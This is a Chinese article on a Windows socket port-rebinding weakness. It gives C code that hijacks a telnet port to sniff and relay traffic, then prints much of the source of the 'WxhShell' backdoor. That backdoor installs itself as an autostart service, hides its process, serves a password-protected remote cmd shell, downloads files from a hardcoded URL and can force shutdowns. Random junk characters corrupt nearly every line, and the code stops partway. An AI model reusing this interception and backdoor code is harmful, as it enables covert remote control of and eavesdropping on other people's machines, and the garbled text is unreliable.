在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
hD!9[Gb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
KM jnY2 )'Yoii{dSU saddr.sin_family = AF_INET;
Fl;!'1 FST}:*dOe5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nH -1,#`g &nX,)" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=as\Tp#d t?404 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)o>1=Y`[z ?7CHHk 这意味着什么?意味着可以进行如下的攻击:
R4P$zB_<2 -y5Zc?e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U**v'%{s B@@j- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Th(F^W9 Eh*t;J=O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Yvbk[Rb [5O` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k>;a5'S g7),si* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@E5}v 1ps_zn( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x.-d>8-!]c WA&&*ae5` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\NI0rL 8`S6BkfC| #include
PS${B
#include
0&k!=gj:>Z #include
@mu2,% #include
1[Ffl^\ARp DWORD WINAPI ClientThread(LPVOID lpParam);
JD1D( int main()
{po f=G {
y$^.HI02jP WORD wVersionRequested;
OP}8u"\Z DWORD ret;
*S$`/X WSADATA wsaData;
*)H&n>"e BOOL val;
Vn1hr;i] SOCKADDR_IN saddr;
Wr+1G 8 SOCKADDR_IN scaddr;
RIQw+RG> int err;
Ul?92 SOCKET s;
%B{NH~ SOCKET sc;
&?@5G int caddsize;
wBK%=7 HANDLE mt;
uRu)iBd D DWORD tid;
M$Of. wVersionRequested = MAKEWORD( 2, 2 );
)-4xI4 err = WSAStartup( wVersionRequested, &wsaData );
b+`mh if ( err != 0 ) {
>4lT0~V/ printf("error!WSAStartup failed!\n");
_Z|3qQ return -1;
rJ UXA<:2 }
]A2l%V_7 saddr.sin_family = AF_INET;
V*U*_Y :*wjC.Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
u/2!v( s*0PJ\E2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}|7y.* saddr.sin_port = htons(23);
wWNHZv& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|,wp@)e6h {
vHz]-Q-|9 printf("error!socket failed!\n");
m+m,0Ey5H return -1;
8Qg,UX }
)|@ H#kv? val = TRUE;
[# '38 //SO_REUSEADDR选项就是可以实现端口重绑定的
@]0;aZ{3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B "z`X!\ {
T]fu[yRVvg printf("error!setsockopt failed!\n");
Cp@'
k;( return -1;
?]#U~M<' }
Aj;F$(su //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%4Thb\ T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
bqt*d)$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tsA+B&R_] VYZkHjj)2i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#+-
/0{HT {
4,|A\dXE ret=GetLastError();
Evn=3Tw printf("error!bind failed!\n");
:uD*Q/ return -1;
#*<*|AwoW| }
]E+deM listen(s,2);
$rh {f< while(1)
NZyGC
Vh@ {
}(r%'(.6 caddsize = sizeof(scaddr);
6O>GVJbw //接受连接请求
fiq4|!^h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]OZk+DU: if(sc!=INVALID_SOCKET)
%;E/{gO {
TFWx(}1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
d,G:+ if(mt==NULL)
vNhi5EU {
<?UIux printf("Thread Creat Failed!\n");
KnC;j-j break;
/@<Pn&Rq }
z3 lZ3 }
L]goHs CloseHandle(mt);
ByrK|lVM0 }
\V#2K>< closesocket(s);
|nN{XjNfP5 WSACleanup();
rR4_=S<Mi: return 0;
y0d a8sd) }
>_Dq )n;% DWORD WINAPI ClientThread(LPVOID lpParam)
D9;2w7v {
DJ)z~W2I* SOCKET ss = (SOCKET)lpParam;
^0/FZ)V8 SOCKET sc;
+%'S>g0W= unsigned char buf[4096];
cVt
MCgx SOCKADDR_IN saddr;
]Fc<%wzp long num;
}jQxwi) DWORD val;
"i\rhX DWORD ret;
93-UA.+g //如果是隐藏端口应用的话,可以在此处加一些判断
) /kf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
* ?a-m\ saddr.sin_family = AF_INET;
G $TLWfm
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cu4&*{ saddr.sin_port = htons(23);
8X@p?43 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S0\;FmLIc {
7|IOn5 printf("error!socket failed!\n");
E*ug.nxy return -1;
K 9ytot }
^
2"r't val = 100;
nVF?.c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p9;Oe,Il {
,m-z D ret = GetLastError();
?mJNzHrq; return -1;
+0016UgS# }
NW'rqgG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q2c|sK8
{
W)dQyZ>J ret = GetLastError();
ad "yo=%1 return -1;
ieN}Ajl2 }
8IY n9<L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q`"gKBN1 {
QkXnXu printf("error!socket connect failed!\n");
9Ij=~p]p closesocket(sc);
8\?7k closesocket(ss);
z+K -aj w return -1;
i NX%Zk[ }
h01 HX while(1)
wo($7'.@
{
N02X*NC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0j^QY6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
:Yi1# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@ 5!Mr5; num = recv(ss,buf,4096,0);
y9cDPwi:b if(num>0)
VQ5D?^'0/ send(sc,buf,num,0);
>+iJ(jqq else if(num==0)
*;QIAd break;
b^wL{q num = recv(sc,buf,4096,0);
&_-,Nxsf if(num>0)
Y40`~ send(ss,buf,num,0);
&@tD/Jw3 else if(num==0)
:a M
ZJm break;
*f% u c }
B{UL(6\B closesocket(ss);
sb Wn1 T
U closesocket(sc);
DQ'=$z return 0 ;
'->%b }
_g|zDi^ WaY_{)x yrp5\k*{y ==========================================================
h0}=C_.^ F)ak5 下边附上一个代码,,WXhSHELL
{:U zW\5l) O)y|G%O ==========================================================
6w3z&5DY| k8!|WqfP #include "stdafx.h"
#wXq'yi woCmpCN*I #include <stdio.h>
E+LAE/v@ #include <string.h>
\qx$h!< #include <windows.h>
kvWP[! j?) #include <winsock2.h>
k3F*D #include <winsvc.h>
~*OQRl6F #include <urlmon.h>
\J*~AT~5q (twwDI #pragma comment (lib, "Ws2_32.lib")
[{]/9E/& #pragma comment (lib, "urlmon.lib")
5K_KZL- N/wU P #define MAX_USER 100 // 最大客户端连接数
X$aN:!1 #define BUF_SOCK 200 // sock buffer
F't4Q #define KEY_BUFF 255 // 输入 buffer
x=1Iuc;&3 HeV6= #define REBOOT 0 // 重启
@>>8CU^~ #define SHUTDOWN 1 // 关机
:@BAiKa[wa G(g`>' m #define DEF_PORT 5000 // 监听端口
|m x)W} 97/"5i9 #define REG_LEN 16 // 注册表键长度
>?-etl #define SVC_LEN 80 // NT服务名长度
x$:>W3?T=^ C`qo // 从dll定义API
#&fi[|%X$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
b.h:~ATgN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Gjhpi5?%8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L5(7; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
RO>3U2 uY{zZ4iw // wxhshell配置信息
}BTK+Tk8 struct WSCFG {
0;Lt int ws_port; // 监听端口
,8=`Y9# char ws_passstr[REG_LEN]; // 口令
/W vF}y int ws_autoins; // 安装标记, 1=yes 0=no
'o D31\@I char ws_regname[REG_LEN]; // 注册表键名
up(6/-/.7 char ws_svcname[REG_LEN]; // 服务名
7Cx*Ts $ char ws_svcdisp[SVC_LEN]; // 服务显示名
DGR[2C)@N char ws_svcdesc[SVC_LEN]; // 服务描述信息
8>U{>]WG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g+g0iS int ws_downexe; // 下载执行标记, 1=yes 0=no
D8Ntzsr6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ll"
Kxg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>XTDN $KSdNFtM)A };
GyirE` MHl ffj // default Wxhshell configuration
MR= dQc struct WSCFG wscfg={DEF_PORT,
9%{V?r]k "xuhuanlingzhe",
}>q%##<n 1,
Ptt "Wxhshell",
$&fP%p "Wxhshell",
|hx"yy'ux "WxhShell Service",
ivgV5)". "Wrsky Windows CmdShell Service",
b-)m'B}` "Please Input Your Password: ",
HPGIz!o 1,
uPe&i5YR "
http://www.wrsky.com/wxhshell.exe",
Fe
r&X "Wxhshell.exe"
5
)A(q\ };
!?AgAsSmc [h5~1N // 消息定义模块
|M8FMH[_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c0I;8z`b char *msg_ws_prompt="\n\r? for help\n\r#>";
*Z9Rl> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8fI]QW char *msg_ws_ext="\n\rExit.";
EgE%NY~ char *msg_ws_end="\n\rQuit.";
0mt lM( char *msg_ws_boot="\n\rReboot...";
=d+~l char *msg_ws_poff="\n\rShutdown...";
"YC5viX char *msg_ws_down="\n\rSave to ";
be<7Vy]j i1c
z+} char *msg_ws_err="\n\rErr!";
sKg
IKYG}T char *msg_ws_ok="\n\rOK!";
"c9T4=]&t sYfiC`9SO char ExeFile[MAX_PATH];
/8cfdP Ba int nUser = 0;
+hIC N,8! HANDLE handles[MAX_USER];
h!~Qyb>W int OsIsNt;
u5'jIqlU [=EmDP:@ SERVICE_STATUS serviceStatus;
a<E\9DL SERVICE_STATUS_HANDLE hServiceStatusHandle;
5bj9S IPVD^a? // 函数声明
3+<f7 int Install(void);
s)A=hB-V int Uninstall(void);
JEL.*[/ int DownloadFile(char *sURL, SOCKET wsh);
h,*-V 'X.k int Boot(int flag);
c,yjsxETW void HideProc(void);
dED&-e# int GetOsVer(void);
ZZ? KD\S5 int Wxhshell(SOCKET wsl);
6f'THU$ void TalkWithClient(void *cs);
zObrp int CmdShell(SOCKET sock);
rOo|.4w int StartFromService(void);
2ophh/] int StartWxhshell(LPSTR lpCmdLine);
)N'-Ap$g :Z R5<Y> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XU*4MU^' VOID WINAPI NTServiceHandler( DWORD fdwControl );
eZ
G#op [uLpm*7 // 数据结构和表定义
i)1013b SERVICE_TABLE_ENTRY DispatchTable[] =
-V F*h.' {
gebDNl\Y2 {wscfg.ws_svcname, NTServiceMain},
EyDH-}Y {NULL, NULL}
+a'["Gjq; };
/)J]m FoX,({*Ko~ // 自我安装
)*`cJ_t int Install(void)
fo"%4rkL {
-+HD5Hc char svExeFile[MAX_PATH];
">M:6\B HKEY key;
v.!e1ke8D* strcpy(svExeFile,ExeFile);
Q/%]%d 0s72BcP // 如果是win9x系统,修改注册表设为自启动
WNK)IC~c if(!OsIsNt) {
th^&wp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eia>Y$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bjr()NM1 RegCloseKey(key);
4(%LG)a4S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~7$jW[i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dr gCr:Gf RegCloseKey(key);
x:E:~h[.^ return 0;
\LYNrL~?J }
(`js/7[`H[ }
hRI?>an }
=,J-D6J? else {
^//`Dz ec&K}+p@ // 如果是NT以上系统,安装为系统服务
l
Zz%W8" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0..]c-V(G if (schSCManager!=0)
3Hi[Y[O`%P {
IIY3/ SC_HANDLE schService = CreateService
|@Ze{\
(
z5g4+y, schSCManager,
N
Wf IRL wscfg.ws_svcname,
RQ;}+S wscfg.ws_svcdisp,
~N]pB]/][ SERVICE_ALL_ACCESS,
gkFw=Cd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
J,D^fVIw SERVICE_AUTO_START,
QIC? `hk1 SERVICE_ERROR_NORMAL,
fA"9eUu svExeFile,
%hVI*p3 NULL,
~[Z,:=z NULL,
mO0}Go8 NULL,
.YlhK=d4 NULL,
_W NULL
oqa8v6yG' );
{:TOm0eK if (schService!=0)
7srq~;j3 {
gXvE^fE CloseServiceHandle(schService);
HXb_k1n CloseServiceHandle(schSCManager);
k9!euj& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t8f:?
strcat(svExeFile,wscfg.ws_svcname);
sP@7%p>wt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(2(y9r*1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#A 7|=E RegCloseKey(key);
jL0=a.; return 0;
eZ|_wB'r }
lQqP4-E? }
5I&Dk4v CloseServiceHandle(schSCManager);
*:Uq
;)* }
^ pNA_s!S }
Ov@vNj& j_0xE;g"] return 1;
yqKSaPRA }
ziXI$B4- N gagzsJ= // 自我卸载
Vtv1{/@+c int Uninstall(void)
OjurfVw {
jk{m8YP)E HKEY key;
C#@-uo2 B)BR
y% if(!OsIsNt) {
|e91KmiqJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jGEmf<q&u RegDeleteValue(key,wscfg.ws_regname);
|F49<7XB[~ RegCloseKey(key);
fS]Z`U" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/kV5~i<1S RegDeleteValue(key,wscfg.ws_regname);
qZ%0p*P#_ RegCloseKey(key);
yJ*g ; return 0;
i?D)XXB85 }
8 Y))/]R }
|4!G@-2V:I }
Bej k^V~ else {
/Q2HN(Y V)c.AX5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w"q^8"j! if (schSCManager!=0)
:_:o% {
"""pe+Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KvumU>c#A if (schService!=0)
N=j$~,yG {
o('6,D if(DeleteService(schService)!=0) {
df{6!}/( CloseServiceHandle(schService);
;v5Jps2^] CloseServiceHandle(schSCManager);
>"[Nmx0;w return 0;
\xKhbpO~ }
5Un)d<!7&u CloseServiceHandle(schService);
t[:G45].-k }
%&!B2z} CloseServiceHandle(schSCManager);
rw#?NI: }
Z@i,9 a }
km29]V=} k1fX-2H return 1;
TTJj=KPA }
3Qd%`k cd;~60@K // 从指定url下载文件
$9ys!
<g int DownloadFile(char *sURL, SOCKET wsh)
H^JFPvEc {
KeWIC,kq HRESULT hr;
Ee^>Q*wahw char seps[]= "/";
zYEb#*Kar char *token;
<f;Xs( char *file;
|N0RBa4% char myURL[MAX_PATH];
{2LG$x-N% char myFILE[MAX_PATH];
[bjP-pX r85j/YK strcpy(myURL,sURL);
.xe+cK token=strtok(myURL,seps);
%UB+N8x`a while(token!=NULL)
+TN*6V{D {
Bp/25jy file=token;
#zg"E< token=strtok(NULL,seps);
(H-kWT }
BOme`0A ?>q5Abp[ GetCurrentDirectory(MAX_PATH,myFILE);
Hm]\.ZEy strcat(myFILE, "\\");
8aI^vP"7`= strcat(myFILE, file);
-Xt0=3, send(wsh,myFILE,strlen(myFILE),0);
^-,@D+eW send(wsh,"...",3,0);
Nc*z?0wP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f\~A72- if(hr==S_OK)
P9M. J^< return 0;
l@g%A#
_ else
5}:`CC2,S~ return 1;
Qb@i_SX(fs ^4=%~Yx }
c3J12+~; <%m$
V5h // 系统电源模块
ZL'krV int Boot(int flag)
Rw|P$dbu {
+0M0g_sk HANDLE hToken;
S6{u(=H TOKEN_PRIVILEGES tkp;
Dyh|F\T cG5u$B if(OsIsNt) {
Hu"TEhW(2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ub`vf4EB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
w~>tpkUB tkp.PrivilegeCount = 1;
c"pu"t@/Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
gb/<(I ) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_*n
4W^8 if(flag==REBOOT) {
k;
ned if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}r|$\ms return 0;
`vD.5 }
a7"Aq:IjU else {
g1&q6wCg| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TH*}Ja^/ return 0;
RU% 4~WC }
lMe+.P| }
S^nI=HTm else {
>~})O&t if(flag==REBOOT) {
SzyaVBD3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0lS=-am return 0;
Nq#B4Zx }
{tUxRX else {
=$#=w?~% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n W:Bo# return 0;
)F4BVPI }
Y,{pG]B$w }
ZC3;QKw> !_>o2 return 1;
MGH2z: }
ilwI qj {11xjvAD // win9x进程隐藏模块
mj&$+z M> void HideProc(void)
=a(]@8$!1 {
nc;iJ/\4 T}K@ykT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
WntolYd if ( hKernel != NULL )
gq050Bl) {
/#!1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-GYJ)f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i)7B :uA FreeLibrary(hKernel);
#dkSAS }
FLLfTkXdI 15M!erT return;
b ; U }
|};-.}u^`h t<MO~_`! // 获取操作系统版本
bCV_jR+ int GetOsVer(void)
=*KY)X {
Dmr3r[ OSVERSIONINFO winfo;
nRcy`A% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t_id/ GetVersionEx(&winfo);
d?N[bA
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
MC%!>,tC return 1;
3Hf_!C=g else
HEF\TH9 return 0;
!%/(a)B$^$ }
mLDuizWI
+f'@ // 客户端句柄模块
ebhV;Q. int Wxhshell(SOCKET wsl)
-AwkP {
b
4A1M SOCKET wsh;
=jvL2ps< struct sockaddr_in client;
`Af5%m[ DWORD myID;
a!\^O).pA (;(2n;i[M while(nUser<MAX_USER)
WMnxN34 {
/hAy1V6 int nSize=sizeof(client);
3 V$
\s8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,e;_
Vb if(wsh==INVALID_SOCKET) return 1;
afd.v$63 synueg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lA n^)EL if(handles[nUser]==0)
7towjwr closesocket(wsh);
vCn\_Nu;W& else
~=?^v[T1 nUser++;
[E9)Da_)i }
JN3&(t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#Ht;5p>5 NGmXF_kqN return 0;
o':K4r; }
s,-}}6WO /}nq?Vf // 关闭 socket
7E;`1lh7 void CloseIt(SOCKET wsh)
vGchKN~_ {
l f_q6y closesocket(wsh);
q>[}JtXK nUser--;
(Ji=fh+ ExitThread(0);
SyIi*dH }
:Jo[bm
_^`TG]F // 客户端请求句柄
%!]CP1S void TalkWithClient(void *cs)
F{laA YE {
;n.SRy6 VN]j*$5
SOCKET wsh=(SOCKET)cs;
o_cAelI[! char pwd[SVC_LEN];
spma\,o char cmd[KEY_BUFF];
ftP]WGSS> char chr[1];
OZ}o||/Rc int i,j;
p+16*f9,^ R*VEeLx while (nUser < MAX_USER) {
}ni@]k#q< HjZf3VwI if(wscfg.ws_passstr) {
LXm@h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/l;_ xs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)u]1j@Id //ZeroMemory(pwd,KEY_BUFF);
#=#bv` i=0;
7x.]
9J while(i<SVC_LEN) {
UD_8#DO{m1 G4wJv^6i9 // 设置超时
Wx8n) fd_set FdRead;
/`g~lww2O struct timeval TimeOut;
}UqL2KXi4 FD_ZERO(&FdRead);
2C#b-Y1~N FD_SET(wsh,&FdRead);
Su*Pd; TimeOut.tv_sec=8;
5E}!TL$ TimeOut.tv_usec=0;
6yXN7L==x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
##'uekSJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J/\^3rCB ,AG k4] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
T 2Gscey pwd
=chr[0]; \:E=B1
if(chr[0]==0xd || chr[0]==0xa) { OhTd>~R`<
pwd=0; GP_%.fO\M
break; ;9hS_%ldX4
} *ch7z|wo.
i++; _m3#g1m{
} #|F5Kh"
rvPmd%nk-
// 如果是非法用户,关闭 socket QPKY9.Rvv
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mg<S7+
} P>_ r6C
ogG:Ai)90
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4\m#:fj %
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bP7_QYQ6
"
l >tFa
while(1) { hlFvm$P`M
Os1=V
ZeroMemory(cmd,KEY_BUFF); J['i
Xe@:Aun
// 自动支持客户端 telnet标准 N`+@_.iBX
j=0; $mn+
while(j<KEY_BUFF) { AhQsv.t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o=
&/;X
cmd[j]=chr[0]; -S
0dr8E
if(chr[0]==0xa || chr[0]==0xd) { z W*Z
cmd[j]=0; ,b74m
break; YeB)]$'?u`
} ,9~qLQ0O
j++; 8!qzG4F/
} !uAqY\Is
nI,-ftMD-|
// 下载文件 XF`?5G~~#
if(strstr(cmd,"http://")) { $pj;CoPm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); eV(
if(DownloadFile(cmd,wsh)) 4*?i!<N9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a4Y43 n
else Og2G0sWRf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }nMp.7b
} j9*5Kj
else { ~[:C l
"T~A*a^
switch(cmd[0]) { 2(25IYMS8
ABU~V+'2
// 帮助 =[YjIWr#o
case '?': { /8LTM|(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SFVqUg3"Z
break; E$s?)
} ,XsBm+Q(
// 安装 ]".SW5b_
case 'i': { 7?qRz
if(Install()) sYd)r%%AU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d1u6*&@lf
else 7xCm"jgP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y
hNy
break; 5wa!pR\c
} IV|})[n*
// 卸载 c:`CL<xzU
case 'r': { gS.,V!#t
if(Uninstall()) $uYfy<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[7tJbN
else !^qpV7./l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lnt}l
break; #BhcW"@
} U]
av{}U
// 显示 wxhshell 所在路径 M6z$*?<
case 'p': { Imz1"+E~
char svExeFile[MAX_PATH]; C ,[q#D4
strcpy(svExeFile,"\n\r"); sdXZsQw
strcat(svExeFile,ExeFile); FXFyF*w2
send(wsh,svExeFile,strlen(svExeFile),0); 1_5]3+r_U-
break; b}Wm-]|+
} hus k\
// 重启 q82yh&
case 'b': { H1hADn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z1R{'@Y0Z
if(Boot(REBOOT)) aa/_:V@$~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,W5!=\Gg(
else { z;Dc#SZnO(
closesocket(wsh); lBNB8c0e"{
ExitThread(0); .t$1B5
} "T' QbK0
break; [ Ru( H
} D[<~^R;*
// 关机 epxbTJfc
case 'd': { bs?&;R.5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2;`WI:nt
if(Boot(SHUTDOWN)) DQ%(X&k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }/}eZCaG
else { y:,m(P
closesocket(wsh);
u'qc=5
ExitThread(0); jl,>0MA
} mLH,6rO9
break; x1`zD*{
} E\*M4n\!
// 获取shell @_Es|(4
case 's': { &eWnS~hJ
CmdShell(wsh); ;BW9SqlN
closesocket(wsh); fU^5Dl
ExitThread(0); zI.:1(,
break; =iE)vY,?"}
} Gw?ueui<
// 退出 -[xbGSj{
case 'x': { /gq\.+'{
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); </23*n]
CloseIt(wsh); yIqRSqM
break; yI. hN
} Nuc2CB)J
// 离开 (n4Uc308
case 'q': { \x=!'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >W^)1E,Qh
closesocket(wsh); .'=-@W*
WSACleanup(); \Vl)q>K_h
exit(1); 17yg ~
break; ew*;mQd
} BD&AtOj[,
} Fz^5cxmw
} V5S6?V\
8QN/D\uq
// 提示信息 i?|b:lcV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G'WbXX
} -'RD%_
} V*1-wg5>
15"[MX A
return; oZ!+._9
} eNFZD1mS
qHC/)M#L
// shell模块句柄 !&5B&w{u~!
int CmdShell(SOCKET sock) Jb]22]
{ *KDwl<^A
STARTUPINFO si; ;Wig${
ZeroMemory(&si,sizeof(si)); ~uh,R-Q$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
>^Y)@J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h#]LXs
PROCESS_INFORMATION ProcessInfo; \\$wg
char cmdline[]="cmd"; K"g`,G6S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vKTCS
return 0; d?>pcT)G_
} !sav~dB)
1L<X+,]@
// 自身启动模式 G33'Cgo:,
int StartFromService(void) xqzB=0
{ MFsW
typedef struct %e1`wMa
{ SOQR(UT
DWORD ExitStatus; ;N!W|G
DWORD PebBaseAddress; ki9vJ<
DWORD AffinityMask; N A9ss
DWORD BasePriority; J|N>}di
ULONG UniqueProcessId; HOlMj!.
ULONG InheritedFromUniqueProcessId; 4nGr?%>
} PROCESS_BASIC_INFORMATION; zH1ChgF=}
sH\ h{^
